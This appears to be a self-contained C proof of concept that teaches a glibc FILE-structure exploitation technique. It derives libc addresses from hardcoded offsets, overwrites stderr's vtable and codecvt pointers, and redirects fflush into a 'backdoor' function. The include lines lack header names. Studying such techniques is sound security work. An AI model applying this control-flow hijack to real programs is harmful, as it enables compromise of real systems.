#include
#include
#include
#include
#include
void
backdoor()
{
printf
(
"\033[31m[!] Backdoor is called!\n"
);
_exit(0);
}
void
main()
{
setbuf
(stdout, 0);
setbuf
(stdin, 0);
setbuf
(stderr, 0);
char
*p1 =
calloc
(0x200, 1);
char
*p2 =
calloc
(0x200, 1);
puts
(
"[*] allocate two 0x200 chunks"
);
size_t
puts_addr = (
size_t
)&
puts
;
printf
(
"[*] puts address: %p\n"
, (
void
*)puts_addr);
size_t
libc_base_addr = puts_addr - 0x84420;
printf
(
"[*] libc base address: %p\n"
, (
void
*)libc_base_addr);
size_t
_IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
printf
(
"[*] _IO_2_1_stderr_ address: %p\n"
, (
void
*)_IO_2_1_stderr_addr);
size_t
_IO_wfile_jumps_addr = libc_base_addr + 0x1e8f60;
printf
(
"[*] _IO_wfile_jumps address: %p\n"
, (
void
*)_IO_wfile_jumps_addr);
char
*stderr2 = (
char
*)_IO_2_1_stderr_addr;
puts
(
"[+] step 1: set stderr->_flags to ~(4 | 0x10))"
);
*(
size_t
*)stderr2 = 0;
puts
(
"[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end"
);
*(
size_t
*)(stderr2 + 0x10) = (
size_t
)-1;
puts
(
"[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40"
);
*(
size_t
*)(stderr2 + 0xd8) = _IO_wfile_jumps_addr-0x40;
puts
(
"[+] step 4: set stderr->codecvt with the allocated chunk p1"
);
*(
size_t
*)(stderr2 + 0x98) = (
size_t
)p1;
puts
(
"[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2"
);
*(
size_t
*)p1 = (
size_t
)p2;
puts
(
"[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct"
);
*(
size_t
*)(p2 + 0x28) = (
size_t
)(&backdoor);
puts
(
"[+] step 7: call fflush(stderr) to trigger backdoor func"
);
fflush
(stderr);
}